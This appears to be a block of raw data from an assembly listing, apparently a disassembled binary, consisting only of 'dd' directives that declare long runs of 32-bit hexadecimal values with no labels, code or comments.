		dd 7B3B6CF9h, 50EF8EE6h, 9F2E60F9h, 66F16C4Fh, 0D5C0ED00h
		dd 31953E1Bh, 0CC60E359h, 12683627h, 0B9A478D6h, 0EBD78DE1h
		dd 8520FE4Eh, 56CF90B5h, 0C48364F4h, 20199693h,	2A6D7F9Bh
		dd 2D9F0085h, 4AA83908h, 4160B859h, 6516DF98h, 9BCF77A8h
		dd 0F5CE4F88h, 4F5E0720h, 8B2483E8h, 0C0E56A93h, 0A234212Bh
		dd 8037F0CDh, 0D84CFFB0h, 7040C564h, 85CE2571h,	86ED7D70h
		dd 0B4E9373Ah, 0E5D1B777h, 0A5ED168Bh, 5706F8D8h, 961F94C9h
		dd 0C3AAD33Eh, 9D694068h, 9BE1604Dh, 699590Fh, 1FE83AF7h
		dd 31F14E69h, 80967AD7h, 343284ACh, 0F44D1220h,	9365BE05h
		dd 92CB3807h, 0B9776079h, 11161BBEh, 0C3E1B1Eh,	6938FCA7h
		dd 0B7EA4B90h, 6BD871EDh, 0DB9499C2h, 20E102F7h, 146BC240h
		dd 31AA6721h, 331CC57Eh, 0ECF273F0h, 0E87D2ED4h, 40BCC825h
		dd 0FC7AB92Bh, 0F7F07825h, 39486013h, 0B19E51E4h, 0CD7F731Ch
		dd 8848EC5Fh, 1E13C050h, 0D8ADD380h, 0A9A15A43h, 0D427C210h
		dd 3298BF8Eh, 0A08F1B7Dh, 0AC342173h, 63C65126h, 231BCDA0h
		dd 60797E54h, 0C0EFAD67h, 74E00D9Eh, 13C3206Eh,	40F93C55h
		dd 83D466DBh, 0F64FF433h, 2487BC45h, 274D018Dh,	5708E112h
		dd 0C259D4F0h, 103C1104h, 0CF7D413Fh, 0B144CE7Bh, 8A0C856Ch
		dd 0D756FCB1h, 174051E6h, 0C53EBC47h, 0ADAEABB4h, 0FE0551ACh
		dd 0FE87045Dh, 42C44951h, 0C7E4C5F0h, 703A9DF6h, 94973021h
		dd 0A900D192h, 0C33C55DAh, 0CCBE7BCAh, 96D76605h, 0A069ABBAh
		dd 1B6D03C3h, 0D70CECF2h, 919ED43Ah, 67C4E662h,	318297ACh
		dd 0EA4F1417h, 6CED299Bh, 1386C75Bh, 0B6C8221Ah, 4CD1E2F3h
		dd 0BD5D298Bh, 410A633Ah, 0B3E2C354h, 4452269h,	90C1DA5Bh
		dd 5C9EC699h, 7899C261h, 0EC58B18Bh, 0EC800120h, 43268051h
		dd 282587FEh, 0C8AD9B6Ah, 0E953DB1Fh, 3F807D96h, 0F7EB95AEh
		dd 619A1BF7h, 4FF5B6EFh, 67B67334h, 1380914Eh, 26A62AD6h
		dd 98398A2Fh, 5E3B0BEBh, 367F2ECFh, 0AD4FE26Bh,	4194D57Dh
		dd 96D5475Eh, 8CB5EE07h
		dd 79B62A7Ch, 3D8D77F0h, 0D604BF4Ch, 5952B33Ah,	21CF0E2h
		dd 29A90A7Bh, 5516EB85h, 0CEA4C164h, 0BADB48D0h, 0B0C06109h
		dd 11E8FAA9h, 0C7B049C2h, 59B5A160h, 83A61FC8h,	0CF2F460Bh
		dd 3EE4CDE6h, 91926510h, 0EBD01DDEh, 0DEC70629h, 0DA67B4C9h
		dd 0A2FB3C2Dh, 287D25DDh, 595B2E57h, 8A6F035Ch,	0A07605A8h
		dd 0B8978529h, 0EABFEE6Eh, 0D4993AFBh, 9E6215C2h, 875C17A5h
		dd 2B2E0F8h, 0B0814962h, 4787900Dh, 5251C3C2h, 66CAFB07h
		dd 1D059EBBh, 0A71CF9D2h, 0D797501Eh, 0F955106h, 65503D36h
		dd 699D91D7h, 9505A8E6h, 0CECBCF8Ah, 8EF7CF00h,	0D7EB8273h
		dd 0C9A39B2Ah, 18C90FA4h, 0FC3A9A47h, 4E41D796h, 0E22AC533h
		dd 69B203E2h, 8775BD16h, 695F5573h, 7F284C99h, 0F5B53A6Eh
		dd 0DEB206D9h, 425700D5h, 4824AF91h, 89F1F62Dh,	0C958EA35h
		dd 0BAFC4DD6h, 0D647CBF5h, 503D7E4Ah, 32F14F9Eh, 90604F66h
		dd 6AC18136h, 0BFC13FFCh, 8C16FB7Bh, 2313C14Ch,	1DC276BEh
		dd 0BAEFB024h, 646F37BFh, 0AB4F590Ch, 55646E61h, 12C8FE94h
		dd 7156F623h, 0AFEF61DBh, 28E34CCFh, 8AA17687h,	0A470FBCAh
		dd 2BC045DCh, 0C2FAE89Ch, 2BA979E0h, 0D55EF075h, 5866E6E7h
		dd 0A6DDEB44h, 8CAF14BDh, 0D602955Fh, 8E036D48h, 0B7139FAh
		dd 99AA71ACh, 7484CD6Ah, 57BDF03Eh, 3C3E4B36h, 0DFC932FFh
		dd 8FAA788Ch, 0A2667F9Ch, 24598273h, 221BDC63h,	0BBD25C61h
		dd 513B56D9h, 5CC40246h, 0D09E56A0h, 1950A334h,	0F96A8060h
		dd 3E73E590h, 1111AEB5h, 0EBC779D0h, 0BA7D2152h, 1002F630h
		dd 55A2398Ah, 4F9CCC75h, 0CCED0D8Dh, 1C5C7D40h,	61916453h
		dd 0D8206420h, 1AD766F9h, 0DE90B5EAh, 0E53652h,	68FD28FDh
		dd 20BF5904h, 0FD519EFBh, 11C15645h, 0FC686F35h, 3E334CE9h
		dd 357E399Dh, 0CF2C33FCh, 54ACD2B7h, 0ABA2212Dh, 773CC23Dh
		dd 0FE6B5A3Dh, 0E8762E82h, 0DD2A39F5h, 1C7C3746h, 0AB31FACFh
		dd 43E82E11h, 0C66F5A96h, 0F5AA67CAh, 6EC3E9ACh, 96057923h
		dd 0CA95555Eh, 7682E8CDh, 122A9D9Fh, 737A0508h,	176E79ECh
		dd 4DD262AAh, 4B1126F1h, 402ACF54h, 672253B7h, 39A58493h
		dd 0E9590E38h, 8D3ECB54h, 0DB90EB2Fh, 28824C13h, 3DD849E0h
		dd 6A0C01BAh, 0A62F8F55h, 0E710DD1Ch, 0B8F1D62Bh, 111CBD70h
		dd 0F15516ACh, 6B0EB023h, 28878E12h, 0B82BB3DFh, 43C457B5h
		dd 99DA2794h, 725764E6h, 0B937E8E1h, 59F11B1Bh,	0C27ECA75h
		dd 0E07A1383h, 0AB78503Ch, 9FC67B00h, 0EE1E79CDh, 0CE420943h
		dd 0CFF930E4h, 861E122Eh, 88161A43h, 81E8AC49h,	0E5CE5535h
		dd 643D9245h, 8366A8B9h, 9BF1CD56h, 840BDD14h, 8F2F4693h
		dd 0D7320FDCh, 4D8F549Ch, 5BB512A0h, 0D39D906Fh, 0E0295328h
		dd 29CCFA2Ah, 64294578h, 0DABCBA0h, 24CC36C0h, 7B6EB9E1h
		dd 577C504Eh, 0CF3AC365h, 0E6FE7DDh, 83B1E124h,	1CF66FA9h
		dd 0E655B0B5h, 0A46628ADh, 69B79F89h, 0BBCA7289h, 199FF650h
		dd 6A29EC3Ah, 0A2BA2506h, 736D0F6h, 0F656CFACh,	56C22B52h
		dd 364AE505h, 0DB4CDEB4h, 36D6C755h, 676EAEA2h,	3D5DD9h
		dd 0B9AE5117h, 7990CE49h, 76CC7AF1h, 855479E8h,	0F27F970h
		dd 395F8780h, 32BC499Eh, 304DD044h, 31D09E2Bh, 0AACB6E26h
		dd 0CE741E71h, 22AFAD70h, 4DF075B6h, 0EDDE8188h, 0A247DF12h
		dd 7873C879h, 51562829h, 4B1FD2E5h, 75A67DDFh, 0AEA48794h
		dd 6CF53CBEh, 4D1731D4h, 135E809h, 4BE4CD67h, 4F996DD7h
		dd 2E81C1BEh, 9BA889F4h, 80C3E72Eh, 340ED169h, 0C6B77460h
		dd 4033D743h, 881995E1h, 461D0C55h, 0ED4C2EBBh,	5F61ABDEh
		dd 6C8F24D7h, 515778C4h, 1AA8CBFh, 1C8167A7h, 1FBC73EBh
		dd 99986701h, 1D30F8F3h, 0DF9F650Dh, 0E1B5BE4Eh, 3416F19Ch
		dd 0C313628Dh, 7F46B7CFh, 37878631h, 60B243FBh,	6DA75204h
		dd 77DCEC50h, 22AD281Dh, 64700F61h, 0B775763Fh,	7214E212h
		dd 6B061407h, 0E6E2FF70h, 0EBF0A6AAh, 5F78A55Eh, 709D266h
		dd 7F0E76DCh, 1441CD5Ch, 39FD81DAh, 0D764389Ch,	392FDE6Eh
		dd 62C57C23h, 0DC6CA508h, 0DC5C52BDh, 9B60C195h, 3257EC32h
		dd 0A0699096h, 6A037ABFh, 0FB4C3D18h, 9D986964h, 3D68F97Ah
		dd 0F029E79Ah, 0BF0EC866h, 0C1C628C8h, 0D0682723h, 0F6A849A5h
		dd 7511B61Fh, 90EC6428h, 40F1782Dh, 0A9D83199h,	151CF165h
		dd 0A7168153h, 354AA0E6h, 58BA56E3h, 0AD3EDF01h, 0B554E756h
		dd 0FC82CDE1h, 0A93E59A2h, 89652791h, 32FFB85Dh, 0E292BD68h
		dd 6BFBD564h, 3FFA3A12h, 3E56DBF6h, 0AD428D51h,	0DA848B74h
		dd 3C9276D3h, 6D37CB9h,	2AFDE550h, 36D7B1E5h, 0A0B9E52Dh
		dd 0AAA5F20h, 0B5102383h, 1537812Ch, 8994CD8h, 78DBC84Fh
		dd 0F745F69Bh, 0F7B64636h, 4C72DB58h, 0E3640C35h, 3481B439h
		dd 71F37E7Bh, 0F24F7EEAh, 0B8D14D9h, 86B57880h,	1BFBB86Dh
		dd 0BF1F7E31h, 71E2F861h, 0CC934C99h, 0D40056DFh, 0E4C4559Ah
		dd 0B534A96Ah, 54E88D74h, 3F1CFCAEh, 67D49DE1h,	9CF9081Ch
		dd 0F490E428h, 99F1CA0Bh, 0CBA210D2h, 3A4B05E7h, 975AE084h
		dd 0DEACD693h, 0FA6FAC26h, 87BE7E8Fh, 9E1AE7BFh, 2E3418BBh
		dd 903D452Ah, 260FFE97h, 18D2555Fh, 49EA7694h, 41F00AE6h
		dd 8C24202Ch, 0F88DEF20h, 0AEF530C1h, 0E7165EDh, 0BB8B3FA9h
		dd 30EAF252h, 0E74DA62Eh, 0DCE9BCA8h, 0B0DA20C2h, 23298C85h
		dd 0FEA7548Fh, 7D52ED07h, 0FC870B20h, 7EBE369Bh, 0BDB315B3h
		dd 89B34664h, 75FFD2E4h, 74F89794h, 30510F63h, 0C3A28411h
		dd 0E4C889AAh, 64FE370Bh, 7EF76F30h, 97BF4DE0h,	1BFFFFC7h
		dd 506FDBC0h, 0A2FF4A6Eh, 97623C88h, 0E1353B84h, 0CE1E0192h
		dd 0BE8AA33Dh, 83FA8B5h, 0CAE778E8h, 2BD940D2h,	3631629Bh
		dd 400BAC89h, 0B0DE8889h, 9AFAB393h, 0D4C50832h, 0DD8637ABh
		dd 7403F18h, 0C58293C2h, 9534544Eh, 96DF21C6h, 3ABC700Dh
		dd 705BAF01h, 8DA21F7Bh, 9C2EFD4Ah, 0B8469EC5h,	0B6D568B6h
		dd 17FBB864h, 7904610Ch, 81CB2A38h, 0DB6D377Ch,	74AA1D5Dh
		dd 0B588937Dh, 4A57B2FBh, 0CBA6C89Ah, 1E2B19DEh, 0CA5C1941h
		dd 1F37530Dh, 2EF1701Eh, 123F5885h, 0F01BDD87h,	0EEFBA097h
		dd 53E39264h, 567D594Ah, 0E1F56485h, 590D5571h,	89DCC415h
		dd 65D0B645h, 89E991DCh, 0E4273C4Bh, 88E8E5Bh, 6106B767h
		dd 8DB02h, 0F8D54949h, 414F97E6h, 0B3D853D8h, 0FDC69485h
		dd 47367B3Dh, 6729CA11h, 60BB5740h, 0F18522D4h,	0FFDAD3h
		dd 0EE5D9EA3h, 0D2ED289Dh, 1F3507DDh, 0D27E2D4Ah, 9EE77DDCh
		dd 94662FF8h, 0CF97E6DCh, 6A688C1h, 742FB7FAh, 0C79A7A1Ah
		dd 67BAAFACh, 43B491ADh, 11125662h, 0B1CBDAB0h,	29668FE5h
		dd 29CD45BAh, 0B457446Fh, 0D2119E6Bh, 3FF3902h,	852F7A0Dh
		dd 6EEE7BD5h, 58DECCB6h, 5E8D2637h, 0FDE6A3BAh,	0F866A565h
		dd 44017234h, 0BF91DD80h, 0EAAF1336h, 24FFCE5Fh, 0F09330FAh
		dd 0F4226F93h, 44629F53h, 16B91BBFh, 1A61456h, 69C3F93Eh
		dd 750989C2h, 15C6CE46h, 1658D835h, 47F9062Bh, 489C7C2Ah
		dd 2C5A24D9h, 0FE1337FDh, 0B76382B6h, 6E45F101h, 0B78CA14Ah
		dd 0B292E787h, 406118FFh, 792F5EDCh, 0EC8DDB25h, 92351A5Fh
		dd 6D4C0E75h, 82835019h, 0C7E03875h, 9346E7D8h,	0C62BB7A1h
		dd 0C042B3E7h, 0A77125E2h, 0ADD5F5F4h, 0A2115EAFh, 0C34FA811h
		dd 3E9F55D5h, 0F9360EBBh, 3368938h, 0FCC233FEh,	9BC252AFh
		dd 8B86FCC2h, 8755166h
		dd 0E79267A2h, 0B6ABFC07h, 4BD3EB59h, 3693A684h, 0A111EC29h
		dd 72E04365h, 1F08202Dh, 6F162EEh, 0DA1D5CD4h, 8591A059h
		dd 111B3591h, 246CFC60h, 30810E89h, 0DC59EA28h,	0CEB09714h
		dd 0FC4BE1FAh, 0DBD71231h, 0D2763E1Dh, 6BB68D91h, 5708CEA6h
		dd 0E148F59h, 0C75D8847h, 84409BD8h, 4429E231h,	447E7BB7h
		dd 3267E1ABh, 5F1BE78Ah, 4B43CE9Dh, 54C5E183h, 9C3B915Bh
		dd 8BB8673Fh, 1853390Ch, 0C2516175h, 8ACC59E8h,	42ACB48h
		dd 0B76A95h, 64BDA072h,	9DD35DEDh, 1614D019h, 0EF296EA5h
		dd 53280867h, 5EE13CFCh, 105697Dh, 0A7BE0BC6h, 8648C22Eh
		dd 0BC096EBBh, 1896368h, 0D8189FDEh, 976B57B5h,	67CDB88Dh
		dd 0A42D741Bh, 7EC5F060h, 0F7456C5Fh, 1E7DBB24h, 690ACBC6h
		dd 0E3823932h, 5E7857FCh, 3FCBD45Ch, 0ED4EBFDEh, 7369EE27h
		dd 35B8CD64h, 4C3548ACh, 0DFE65F28h, 0D5652455h, 3D5F43B6h
		dd 8D8C5EF2h, 26A90887h, 1F36DD61h, 3CEAA502h, 3FBBDE63h
		dd 9D4DE745h, 65A0BA4Dh, 0C25D911Ch, 0AD79653Bh, 0A49B1668h
		dd 0B170FC87h, 0BAFED676h, 616E2826h, 0A9810BF4h, 3AFBCE64h
		dd 1373428Dh, 0D8E6BB80h, 0EA6229C1h, 287D49A6h, 7FD4B393h
		dd 0B41D0D83h, 8351F3A3h, 0C7F641B4h, 9641EB06h, 0A5885230h
		dd 94345E66h, 15C2F1A3h, 381F06A4h, 4C69F5D0h, 0B9A71C71h
		dd 0E279E94h, 37AC63D3h, 0E9E5AFBDh, 0A0ECD36h,	89AC8E8Ah
		dd 0A9B15297h, 0EB9A55F1h, 40B59686h, 6CAC6D7Fh, 689E2ACh
		dd 21D94001h, 96B3AD7h,	4DD5A64Fh, 0D567F011h, 2181F4A8h
		dd 2473E0AFh, 1A9C8087h, 32159902h, 908F2056h, 1B4D0257h
		dd 0C9E7111h, 1C946DDh,	7934096Dh, 0CE18603Fh, 0B7D3E14Bh
		dd 1A4AA045h, 11FEE690h, 978AA61h, 0FA3812C9h, 0F6C66C5h
		dd 0D8FAE876h, 776EA52h, 13DC33ACh, 0FAA33EC3h,	539BD830h
		dd 840E79E5h, 0F2D4C205h, 3EC94AFFh, 0B11834Ah,	783DE32Ch
		dd 84ACE921h, 18727A2Ch, 2766E8E8h, 80E647EFh, 0EA308953h
		dd 7FCA5728h, 0EA6811EBh, 0EA1C9132h, 0F58EF262h, 0C59221DBh
		dd 89B043Ah, 0A9083F9h,	0F62DFB3Ah, 2DC33E81h, 0F19D528h
		dd 7C969FACh, 353756AEh, 9A1FFC56h, 6E3D6D82h, 69319A7Bh
		dd 5829BDF0h, 29E74963h, 0C85C3C70h, 49A27229h,	0E71AB0C8h
		dd 1AEB834Eh, 26777FC8h, 0FF99146Dh, 80DDE429h,	359AF28Ch
		dd 4AD3DDDFh, 2DFA85ECh, 0BBCDD845h, 0FE832787h, 2DF6D91h
		dd 0A297D420h, 18BE3A19h, 41154EA5h, 4DCBF48Dh,	8C93CADEh
		dd 75C952ECh, 8068A5ACh, 0C1C26BE7h, 6B71B3B1h,	0D19C9AC9h
		dd 5DDFFD46h, 0E68A2B54h, 10AC607Eh, 0AF633BE0h, 50A3960Ch
		dd 0FBD6383Fh, 0A303C801h, 4F2BFBDFh, 0CA6222EBh, 0E2089616h
		dd 71896710h, 0C2C80018h, 6A1B2B6Dh, 0DC7ABCCDh, 0B7D8A73h
		dd 0ABE81A0h, 9487E03h,	28C5400Dh, 0D3D8631Eh, 813FB1A0h
		dd 77C3A013h, 2C22F320h, 227F9346h, 5B2DBC90h, 72603139h
		dd 5A5B15FFh, 0B6B6E558h, 0C0812F48h, 6C76BE6Ah, 2311B5C4h
		dd 440C91Bh, 8E3DF2EBh,	2A2AA6A3h, 3F8CB9C3h, 0C058967h
		dd 39FCA5F2h, 73450DDh,	0AA216AB5h, 140E8A7Ch, 6DDAE004h
		dd 9E7796C0h, 0CD89B57Fh, 3DD20BFCh, 8430BADFh,	33D649B9h
		dd 0EE4D4D1Fh, 634CEC20h, 9C24A5EEh, 79F6A6DDh,	0EC20D987h
		dd 0D910CC7Dh, 0CEEE2BCCh, 1BE020BFh, 35519362h, 770FEC78h
		dd 0B88B28A9h, 0D7E6052Bh, 5262AD0Bh, 21FF3380h, 4FA09431h
		dd 3D99A8CAh, 0E26C2F89h, 0AC912E2Fh, 53F2514Bh, 0FB077589h
		dd 2DA0879Ch, 3F959A9Bh, 9AA5684Bh, 2535518Ah, 0FF1D0405h
		dd 47C90CF1h, 0EFBD96C3h, 0CC9E767h, 90E0CAE2h,	0FBD23A19h
		dd 50E895A4h, 6BFF3B2Fh, 3EE8DBC8h, 0FE4B3F89h,	0DC568738h
		dd 8BF65F81h, 4FE3AFEh,	7B7126F1h, 2CFAAB3Ch, 0A9D8F041h
		dd 9B17A67Eh, 7D9F0550h, 0E692137Ah, 70E0F81Bh,	0F55705DDh
		dd 781D82Ah, 27D58967h,	8C47FBBAh, 0E034ED5Dh, 0E34FEA47h
		dd 0C731DB2Ch, 0C7B3F73Ch, 7DBC70E6h, 0F47D2A2Fh, 60BF9F5Ch
		dd 0BB905C27h, 0AE55C521h, 988B4981h, 0E8299115h, 1DDB8B3Bh
		dd 0B442AB57h, 28460A30h, 814E804Ah, 0FFB17DC4h, 8EDFFEB1h
		dd 0DC28C834h, 97FC15EEh, 9B8B4BE1h, 66F78631h,	0C5590FA7h
		dd 901E2ABCh, 0C08182B7h, 2D5B9807h, 9877A3Bh, 352C3EE0h
		dd 40D4C030h, 0AC325BB4h, 8BCDFD84h, 0D667B3B0h, 858B4442h
		dd 0BB52034Dh, 0B44481DEh, 0A0C6DDA2h, 17E508D6h, 0C059B166h
		dd 3F65A242h, 25A9FF95h, 9F85D432h, 0F891D601h,	7304DD0Fh
		dd 276877DBh, 0D3501D32h, 3BF8C44Ch, 5A84AE88h,	34C9B828h
		dd 0BE8E8CD9h, 1ADC68F2h, 0F41F391Dh, 3A52182Fh, 7BEE7F9h
		dd 3EF16D8Eh, 22587DA6h, 92D32004h, 431741BAh, 0C89B6F88h
		dd 0A8715CCh, 0F230DC83h, 0A0D66DCCh, 6F907CF9h, 9518005Dh
		dd 77EC21C8h, 0A163EAA8h, 0BFF6FA4Fh, 0E9ADEF8Bh, 0DCC3391h
		dd 0E1723393h, 19512D51h, 0B081C450h, 550FD65Eh, 65C1627Eh
		dd 3A7BD663h, 89650D78h, 573B1AFFh, 0EC42FF37h,	0CEEBC74Fh
		dd 39290EDDh, 4945F5A0h, 7EE147AEh, 2474E0EFh, 2FDBBEB3h
		dd 7AE6B405h, 15AC978Fh, 0B936C9E5h, 1E05F243h,	0A5E0E4BBh
		dd 4D248FFEh, 2DD365FEh, 0C3519F4Ah, 6B22CF5Ch,	44A05ED6h
		dd 0A5B749CDh, 0EA3603ADh, 0DB6F8C16h, 72BD7CDh, 5CC83A09h
		dd 79B09B5Fh, 96795A9h,	0C6B65AFAh, 0B37B2BEEh,	0BF662DE6h
		dd 0CADFE84h, 7DEA4947h, 7E7FEDF7h, 2CF350C0h, 0DDFDF43Fh
		dd 45148196h, 39B05CEh,	6D2E4517h, 0EEB60BC5h, 26F73682h
		dd 9D96E414h, 63125D1Ch, 0FEB60F3Eh, 0D8F9AABFh, 0D8CD271Dh
		dd 5E2726CFh, 4ECE31B8h, 610C305h, 0AD6372B7h, 91F11500h
		dd 7CC522E5h, 35BEB7D4h, 7382233Ch, 0E9A4363Ch,	3D658F1Eh
		dd 0D312FB79h, 0D9A26B99h, 5FB3A7D6h, 0FBA863E2h, 0AC703F29h
		dd 0A50ABD37h, 70A1BB43h, 0C2113681h, 450E7F34h, 69E844B4h
		dd 0C2EA5EC2h, 0A2AA5558h, 24F172BCh, 2D2B528Fh, 115823D0h
		dd 8CA1489Eh, 17C912DAh, 9C5816ECh, 0B2129C9Dh,	0BD71BEFAh
		dd 0D1B202AAh, 0CFF05D14h, 0F061CAB3h, 0C897F88h, 174166AEh
		dd 0E41BDCBAh, 48AFA129h, 0C112BD5Dh, 7E75A808h, 81A5801Ch
		dd 0D732BBF9h, 9648D46Dh, 32ABB0C3h, 280810E2h,	99FFEAA1h
		dd 45071573h, 0E5E3E22Dh, 0D403E053h, 94694063h, 8574CC5h
		dd 0FB4664A1h, 75E44B7Ch, 2E7C63D9h, 12332BACh,	6AE37D32h
		dd 0D174F379h, 443CE234h, 89382721h, 78D9562h, 0A0A18C96h
		dd 0B05378D7h, 8ED051E8h, 0CEF7207Fh, 0C2508964h, 227C623Eh
		dd 13BB2C71h, 52980C78h, 0D4BE23B0h, 4A96CA89h,	5F58E3Ah
		dd 5A46C7C9h, 0C558F29Fh, 19B5738h, 100F22BEh, 85005E88h
		dd 18521D26h, 28F1B040h, 7830E0F0h, 3742CC25h, 62FBC93Eh
		dd 0DC231E23h, 87C0857Bh, 0F0BEA5DDh, 63BC244h,	0F417201Ch
		dd 7B2A0BFBh, 7750A6C3h, 52021862h, 115433C8h, 0F2B16DECh
		dd 91BDE5EDh, 0B39DA96Fh, 63D35640h, 222D8E65h,	5DA19E0h
		dd 13CB8A6Ch, 0BE7BC203h, 0A7DC436Fh, 0B372F856h, 0C4E3B09Ah
		dd 0D99021ECh, 0C55BD21Dh, 0FC55FC76h, 5F11B69Fh, 99D9E9CEh
		dd 16E8B8A7h, 12376A8Eh, 0E298AA9h, 9F58668Ch, 6C419DDh
		dd 6843F3C7h, 0A1A1E22Bh, 0F8B8E3C8h, 9073B073h, 0D78EFAA7h
		dd 50E1AABBh, 189DC553h, 0B2E95837h, 0D5C078F2h, 933410Eh
		dd 97E71300h, 6688A54Fh
		dd 972818DEh, 3663AF6Eh, 0F3B00BA6h, 0A241027Ah, 6174BCBEh
		dd 40949756h, 688DDE66h, 4ACD75BFh, 0BD1E3FF4h,	8A988AB3h
		dd 8918FB51h, 0DCAB54D9h, 1FECB514h, 0D9417992h, 20B97D56h
		dd 383F18DCh, 9BDE64D9h, 0FFD128B0h, 2B459412h,	0E55FB898h
		dd 0B7F5867Ch, 0B066C748h, 308D95C0h, 0F791101Fh, 0C2AA61D2h
		dd 10CCF0B0h, 51583FE2h, 3EFAC3A3h, 0FFF7BDC0h,	282BE400h
		dd 0D5CC5AB1h, 64E202D0h, 0E664DFF0h, 0CD0A906h, 0CC88943Fh
		dd 0B81A069h, 3F215909h, 944413C9h, 0A8052FE0h,	6933A45Bh
		dd 5F48D97Eh, 96BD682h,	0D2FD64Ah, 16F11365h, 7F733092h
		dd 4BC30D32h, 171E2694h, 5EE74EB5h, 0CA799C71h,	0CD5852A1h
		dd 0DE175C04h, 59F191A3h, 0DD880171h, 0E65429F8h, 7FF8FADFh
		dd 4CBE7396h, 7D6DE290h, 0F91444FDh, 340DC0A0h,	221A27C2h
		dd 567FB03Ch, 59DDC514h, 0A2E79526h, 7192DDB9h,	0A976B7D8h
		dd 30E110F5h, 0E0312EE0h, 5C094537h, 5E9461C0h,	0FD6C7B1Ch
		dd 87214A38h, 947AFC2Eh, 0B4F0D075h, 2A29630Bh,	3D4500EFh
		dd 0BC4F66Fh, 0F9690AC0h, 9CCF34B9h, 4C0E17BEh,	9E7A20EFh
		dd 0A7F91C41h, 0E4B498E5h, 4431CF55h, 62BD3394h, 5B1FA539h
		dd 0CDF049F7h, 0D2C76A63h, 83A21169h, 8679A49Bh, 187D1A91h
		dd 753A2D1Dh, 0FAF6BFA8h, 0C0EA8E8Dh, 968D8778h, 81C9CFBAh
		dd 2DE60286h, 0F60F52FCh, 15C05205h, 47E2CF0Ch,	0DE854992h
		dd 49EC65A4h, 37CC83CAh, 56FD7E5Eh, 0E908678Bh,	71A855C4h
		dd 0F9721382h, 0EC613884h, 0BC75CD49h, 37F1424Ch, 8D500B1h
		dd 0C55D281h, 3CD69D15h, 405DAA36h, 0B8893723h,	0DF9DEF5Eh
		dd 0BF51CDA2h, 0E208096Ah, 9DE30DE8h, 0CDC7B83Eh, 5B924AAAh
		dd 63A211E5h, 0F2330E0Fh, 8E2C9B3h, 0BDF118E4h,	2FEA5496h
		dd 0F4E40265h, 0EFAEE82Ah, 0C0DD8FA8h, 58ED247Dh, 5F222394h
		dd 0F7E2CA55h, 52CB3D68h, 90113FDAh, 5B9CDDAFh,	0CD5D5279h
		dd 0E019A490h, 69239F85h, 0F8A4EE6Ch, 0C1FF06AAh, 0ED806542h
		dd 0C79C8F29h, 8AE330A3h, 3EED2B7Ah, 4C8CA97Ah,	8B5E8686h
		dd 0ADBC8D2Dh, 0AC11A5BEh, 0A128D0Eh, 0C4ECE36Bh, 2475336Dh
		dd 0DD65B6B9h, 0D5041852h, 628E77D9h, 0C04917D3h, 19F16533h
		dd 800BCB99h, 0C7527045h, 3461286Bh, 9B8C4F0h, 1C20CBE6h
		dd 3AD76BA8h, 6FA8332Ch, 0BB9A321Dh, 0B6D2A685h, 9143D82Ch
		dd 0D03F5EEEh, 733EF352h, 0FF70A173h, 52AC5ED1h, 0ADF3E22Bh
		dd 0E358C18Ah, 0B3049D72h, 0E91E3B78h, 25C6EC49h, 1EF3D38Ch
		dd 0BE97F2BAh, 24EAB37Fh, 0A2B0E40Ch, 586EBA2Dh, 109C5F14h
		dd 199CC750h, 6445A537h, 0D78FEA8Fh, 0DB74EB05h, 9E48B91Dh
		dd 582E90B7h, 0D27C8ADDh, 2FA27D79h, 51559B4Dh,	820C793Fh
		dd 9973793Bh, 5D1063D7h, 8EE78079h, 2EC13371h, 432886E2h
		dd 875E9AEEh, 0E87C06C3h, 0E34C9103h, 0F4A011D1h, 6F6C2EBEh
		dd 9990418Ah, 56CD2F33h, 67A53903h, 0E5F46388h,	254E8146h
		dd 0F8F3E109h, 257FA7B5h, 288B6780h, 0F463F13Eh, 49C67BFEh
		dd 383D3639h, 0B60574D6h, 0A4183CA5h, 736F5AEDh, 0E967BBA2h
		dd 6BAABEEBh, 0F471CF62h, 2C3AF631h, 69B7BF4Dh,	3C52FCB1h
		dd 0E14A2CF9h, 0A281B05Bh, 2EA301A3h, 31CFB719h, 2E46D84Bh
		dd 7863FD08h, 0AA7F466Ah, 0CE993488h, 0AFA4433Dh, 6CCD232Dh
		dd 3880FEF3h, 593074D1h, 382519Ch, 7FE2BB6h, 847FE0C9h
		dd 199164Ah, 0AD61D04Ah, 8BE72EF7h, 0E599EECDh,	0B28CF569h
		dd 846EE7E4h, 0C07FB32Eh, 6A30313Ah, 9F70CE23h,	0F73953D2h
		dd 0EDB9AB6Fh, 60E73631h, 1192DB1Bh, 11E8445h, 0D313F3A0h
		dd 2F5DD279h, 51E06CC9h, 0DFC750DDh, 4836E9E8h,	0ED14EE4Ah
		dd 79438B96h, 8FFC3639h, 7934FFC7h, 66499114h, 9AD3ED11h
		dd 873D0B81h, 0C499612Ah, 0D5FEF1B4h, 0A8BAEE6Eh, 4797A124h
		dd 510E8590h, 0FC984552h, 7BCBBEC1h, 0C4828D4Eh, 23CDE6FEh
		dd 0E68E5661h, 6BB4BE64h, 9A9D622h, 2B3AFF38h, 643E1AF2h
		dd 0D0F938C2h, 0B6E97017h, 6337A8Bh, 8E3ABE0Dh,	0CD5B21Eh
		dd 6B4DCE9Dh, 0BF881AFh, 0CFDB4672h, 0C1C1981Bh, 47AC8D2Dh
		dd 8113927Ch, 6F2E21A4h, 0F3FA3CB1h, 0D9F2DBD2h, 8C91B5E0h
		dd 0D649C23Ah, 0BF18C7E4h, 7D47C851h, 0D1E44D46h, 0CF516DF6h
		dd 0E4DFA30Ah, 41D90178h, 2324E9B2h, 0CB831E88h, 3638AE9h
		dd 0D04EE99Bh, 27A7560Fh, 74BC9D91h, 184ECA31h,	92DDE65Fh
		dd 2D1DE568h, 8E0E6552h, 0CA1BDAECh, 0A929FA20h, 3862F03Dh
		dd 471C5D14h, 840B5C5Fh, 3CFF52B1h, 0A656012Fh,	0AB69D028h
		dd 1E5A8294h, 0F624822Dh, 0B7CCA815h, 0DB5038B2h, 25A76DD3h
		dd 56228446h, 7CC942FAh, 94B74694h, 39B85AF8h, 0F1B956D8h
		dd 0F64F8E54h, 0C551D33Dh, 0C3D69823h, 0C56196DDh, 74C18A9Fh
		dd 0CA0320AFh, 7420FA2Bh, 94247CF1h, 39E4A0C9h,	6BFA2E74h
		dd 0E0730ADh, 0F1777E1Eh, 0C94CDD9Ch, 6FA0B25Bh, 604C5875h
		dd 412BD0AAh, 0B20AAEC1h, 6795CE7Ah, 17B663EDh,	0E8558D2Dh
		dd 0BF563FD3h, 9F27CC2Dh, 759AF70h, 0F5AA498Ah,	0DABF4DC8h
		dd 1DA147EFh, 12A879DCh, 0C02BFC27h, 0DA858AB6h, 40AF011Fh
